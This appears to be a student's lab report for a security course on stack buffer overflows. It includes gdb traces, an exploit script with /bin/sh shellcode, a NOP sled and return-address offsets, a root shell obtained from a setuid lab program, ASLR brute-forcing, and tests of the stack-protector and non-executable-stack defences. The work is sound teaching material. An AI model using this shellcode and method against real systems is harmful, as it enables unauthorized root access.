Noah Cunningham
Reese Pearsall
CSCI 476
10/16/22

Buffer Overflow

Task 1.1:

```
[10/16/22]seed@VM:~/.../03_buffer_overflow$ cd shellcode/
[10/16/22]seed@VM:~/.../shellcode$ ls
assembly_setuid0.asm      call_shellcode.c
assembly_shellcode32.asm  Makefile
assembly_shellcode64.asm
[10/16/22]seed@VM:~/.../shellcode$ make
gcc -m32 -z execstack -o a32.out call_shellcode.c
gcc -z execstack -o a64.out call_shellcode.c
[10/16/22]seed@VM:~/.../shellcode$ ls
a32.out               assembly_shellcode32.asm  Makefile
a64.out               assembly_shellcode64.asm
assembly_setuid0.asm  call_shellcode.c
[10/16/22]seed@VM:~/.../shellcode$ ./a32.out
$ exit
[10/16/22]seed@VM:~/.../shellcode$ ./a64.out
$ exit
[10/16/22]seed@VM:~/.../shellcode$
```

Task 1.2: The main function seems to copy the code var into a var called shellcode and runs some sort of function on it that produces a binary file to run a shell.

Task 2.1: These are all the steps 2.1 tells you to take, read the images from left to right.

```
[10/17/22]seed@VM:~/.../code$ make
gcc -DBUF_SIZE=100 -z execstack -fno-stack-protector -m32 -
o stack-L1 stack.c
gcc -DBUF_SIZE=100 -z execstack -fno-stack-protector -m32 -
g -o stack-L1-dbg stack.c
sudo chown root stack-L1 && sudo chmod 4755 stack-L1
gcc -DBUF_SIZE=160 -z execstack -fno-stack-protector -m32 -
o stack-L2 stack.c
gcc -DBUF_SIZE=160 -z execstack -fno-stack-protector -m32 -
g -o stack-L2-dbg stack.c
sudo chown root stack-L2 && sudo chmod 4755 stack-L2
gcc -DBUF_SIZE=200 -z execstack -fno-stack-protector -o sta
ck-L3 stack.c
gcc -DBUF_SIZE=200 -z execstack -fno-stack-protector -g -o
stack-L3-dbg stack.c
sudo chown root stack-L3 && sudo chmod 4755 stack-L3
gcc -DBUF_SIZE=10 -z execstack -fno-stack-protector -o stac
k-L4 stack.c
gcc -DBUF_SIZE=10 -z execstack -fno-stack-protector -g -o s
tack-L4-dbg stack.c
sudo chown root stack-L4 && sudo chmod 4755 stack-L4
[10/17/22]seed@VM:~/.../code$ ls
brute-force.sh  stack.c       stack-L2      stack-L3-dbg
exploit.py      stack-L1      stack-L2-dbg  stack-L4
Makefile        stack-L1-dbg  stack-L3      stack-L4-dbg
```

```
[10/17/22]seed@VM:~/.../code$ touch badfile
[10/17/22]seed@VM:~/.../code$ ls
badfile         stack.c       stack-L2-dbg  stack-L4-dbg
brute-force.sh  stack-L1      stack-L3
exploit.py      stack-L1-dbg  stack-L3-dbg
Makefile        stack-L2      stack-L4
[10/17/22]seed@VM:~/.../code$ gdb stack-L1-dbg
GNU gdb (Ubuntu 9.2-0ubuntu1~20.04) 9.2
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/
licenses/gpl.html>
This is free software: you are free to change and redistrib
```

```
Reading symbols from stack-L1-dbg...
gdb-peda$ b bof
Breakpoint 1 at 0x12ad: file stack.c, line 17.
gdb-peda$ run
Starting program: /home/seed/lab3repo/03_buffer_overflow/co
de/stack-L1-dbg
Input size: 0
[----------------------------------registers-------------
------------------]
EAX: 0xffffcb48 --> 0x0
EBX: 0x56558fb8 --> 0x3ec0
ECX: 0x60 ('`')
EDX: 0xffffcf30 --> 0xf7fb4000 --> 0x1e6d6c
ESI: 0xf7fb4000 --> 0x1e6d6c
EDI: 0xf7fb4000 --> 0x1e6d6c
EBP: 0xffffcf38 --> 0xffffd168 --> 0x0
ESP: 0xffffcb2c --> 0x565563ee (<dummy_function+62>:    add
    esp,0x10)
EIP: 0x565562ad (<bof>: endbr32)
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT
 direction overflow)
[-------------------------------------code----------------
------------------]
   0x565562a4 <frame_dummy+4>:
    jmp    0x56556200 <register_tm_clones>
   0x565562a9 <__x86.get_pc_thunk.dx>:
    mov    edx,DWORD PTR [esp]
   0x565562ac <__x86.get_pc_thunk.dx+3>:        ret
=> 0x565562ad <bof>:    endbr32
```

```
Breakpoint 1, bof (str=0xffffcf53 "V\004") at stack.c:17
17      {
gdb-peda$ next
[----------------------------------registers-------------
------------------]
EAX: 0x56558fb8 --> 0x3ec0
EBX: 0x56558fb8 --> 0x3ec0
ECX: 0x60 ('`')
EDX: 0xffffcf30 --> 0xf7fb4000 --> 0x1e6d6c
ESI: 0xf7fb4000 --> 0x1e6d6c
EDI: 0xf7fb4000 --> 0x1e6d6c
EBP: 0xffffcb28 --> 0xffffcf38 --> 0xffffd168 --> 0x0
ESP: 0xffffcab0 ("1pUVD\317\377\377\220\325\377\367\340\263
\374", <incomplete sequence \367>)
EIP: 0x565562c2 (<bof+21>:      sub    esp,0x8)
EFLAGS: 0x216 (carry PARITY ADJUST zero sign trap INTERRUPT
 direction overflow)
[-------------------------------------code----------------
------------------]
   0x565562b5 <bof+8>:  sub    esp,0x74
   0x565562b8 <bof+11>:
    call   0x565563f7 <__x86.get_pc_thunk.ax>
   0x565562bd <bof+16>: add    eax,0x2cfb
=> 0x565562c2 <bof+21>: sub    esp,0x8
   0x565562c5 <bof+24>: push   DWORD PTR [ebp+0x8]
   0x565562c8 <bof+27>: lea    edx,[ebp-0x6c]
   0x565562cb <bof+30>: push   edx
```

```
----------------------]
Legend: code, data, rodata, value
21          strcpy(buffer, str);
gdb-peda$ p $ebp
$1 = (void *) 0xffffcb28
gdb-peda$ p &buffer
$2 = (char (*)[100]) 0xffffcabc
gdb-peda$
```

2.2: Shell code I copied from the github repo but it creates the shellcode, I got start by subtracting the total bytes by the length of the shellcode, return address is the ebp address plus some number because there is some gdb overhead that you have to account for, got offset subtracting ebp address and buffer address then adding 4 because the return address is 4 bytes above the gdb address.

```
# TODO: Replace the content with the actual shellcode
shellcode = (
    "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
    "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
    "\xd2\x31\xc0\xb0\x0b\xcd\x80"
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

##################################################################
# Put the shellcode somewhere in the payload
start = 517 - len(shellcode)       # TODO: Change this numb
er
content[start:start + len(shellcode)] = shellcode

# Decide the return address value and put it somewhere in t
he payload
ret = 0xffffcb28 + 200      # TODO: Change this number
offset = 112      # TODO: Change this number
```

```
[10/17/22]seed@VM:~/.../code$ vi exploit.py
[10/17/22]seed@VM:~/.../code$ ./exploit.py
[10/17/22]seed@VM:~/.../code$ ./stack-L1
Input size: 517
  exit
[10/17/22]seed@VM:~/.../code$ ./stack-L1
Input size: 517
# exit
[10/17/22]seed@VM:~/.../code$
```

Task 3.1: Before and after, after i was able to run the shellcode as a normal user and then a root user.

```
[10/17/22]seed@VM:~/.../shellcode$ ./a64.out
$ exit
[10/17/22]seed@VM:~/.../shellcode$ ./a32.out
$ exit
```

```
[10/17/22]seed@VM:~/.../shellcode$ make setuid
gcc -m32 -z execstack -o a32.out call_shellcode.c
gcc -z execstack -o a64.out call_shellcode.c
sudo chown root a32.out a64.out
sudo chmod 4755 a32.out a64.out
[10/17/22]seed@VM:~/.../shellcode$ ./a32.out
# exit
[10/17/22]seed@VM:~/.../shellcode$ ./a64.out
# exit
[10/17/22]seed@VM:~/.../shellcode$
```

3.2

```
[10/17/22]seed@VM:~/.../code$ vi exploit.py
[10/17/22]seed@VM:~/.../code$ ./exploit.py
[10/17/22]seed@VM:~/.../code$ ./stack-L1
Input size: 517
# ls -l /bin/sh /bin/zsh /bin/dash
-rwxr-xr-x 1 root root 129816 Jul 18  2019 /bin/dash
lrwxrwxrwx 1 root root      9 Oct 17 16:57 /bin/sh -> /bin/
dash
-rwxr-xr-x 1 root root 878288 Feb 23  2020 /bin/zsh
# id
uid=0(root) gid=1000(seed) groups=1000(seed),4(adm),24(cdro
m),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(s
ambashare),136(docker)
#
```

Task 4.1: Seems that this caused a segmentation fault when turning on ASLR

```
[10/17/22]seed@VM:~/.../code$ sudo /sbin/sysctl -w kernel.r
andomize_va_space=2
kernel.randomize_va_space = 2
[10/17/22]seed@VM:~/.../code$ ./exploit.py
[10/17/22]seed@VM:~/.../code$ ./stack-L1
Input size: 517
Segmentation fault
[10/17/22]seed@VM:~/.../code$
```

4.2: I was able to access the root shell program. ALSR didn't seem to stop the brute force mechanism, I'm guessing its because the ASLR randomization doesn't really matter when you are just directly guessing.

```
stack-L1
The program has been run 11140 times so far (time elapsed:
0 minutes and 12 seconds).
Input size: 517
./brute-force.sh: line 13: 17916 Segmentation fault      ./
stack-L1
The program has been run 11141 times so far (time elapsed:
0 minutes and 12 seconds).
Input size: 517
#
```

Task 5.1 Repeat of step 2.2 and turning off ASLR

```
[10/17/22]seed@VM:~/.../code$ sudo sysctl -w kernel.randomi
ze_va_space=0
kernel.randomize_va_space = 0
[10/17/22]seed@VM:~/.../code$ ./exploit.py
[10/17/22]seed@VM:~/.../code$ ./stack-L1
Input size: 517
# exit
```

Tried to perform my attack but it did not work, as stack smashing was detected, which led to the termination of the program.

```
[10/17/22]seed@VM:~/.../code$ ./exploit.py
[10/17/22]seed@VM:~/.../code$ ./stack
Input size: 517
*** stack smashing detected ***: terminated
Aborted
[10/17/22]seed@VM:~/.../code$
```

Task 5.2: I edited the makefile to have and got rid of -z exectstack since by default its -z nonexecstack.

```
all:
	gcc -m32 -o a32.out call_shellcode.c
	gcc -o a64.out call_shellcode.c

setuid:
	gcc -m32 -z -o a32.out call_shellcode.c
	gcc -o a64.out call_shellcode.c
	sudo chown root a32.out a64.out
	sudo chmod 4755 a32.out a64.out
```

When executing it causes a segmentation fault on the 32 and 64 bit versions. Whereas before it allowed me to be a normal user. (See task 1)

```
[10/17/22]seed@VM:~/.../shellcode$ vi Makefile
[10/17/22]seed@VM:~/.../shellcode$ make
gcc -m32 -o a32.out call_shellcode.c
gcc -o a64.out call_shellcode.c
[10/17/22]seed@VM:~/.../shellcode$ ./a32.out
Segmentation fault
[10/17/22]seed@VM:~/.../shellcode$ ./a64.out
Segmentation fault
```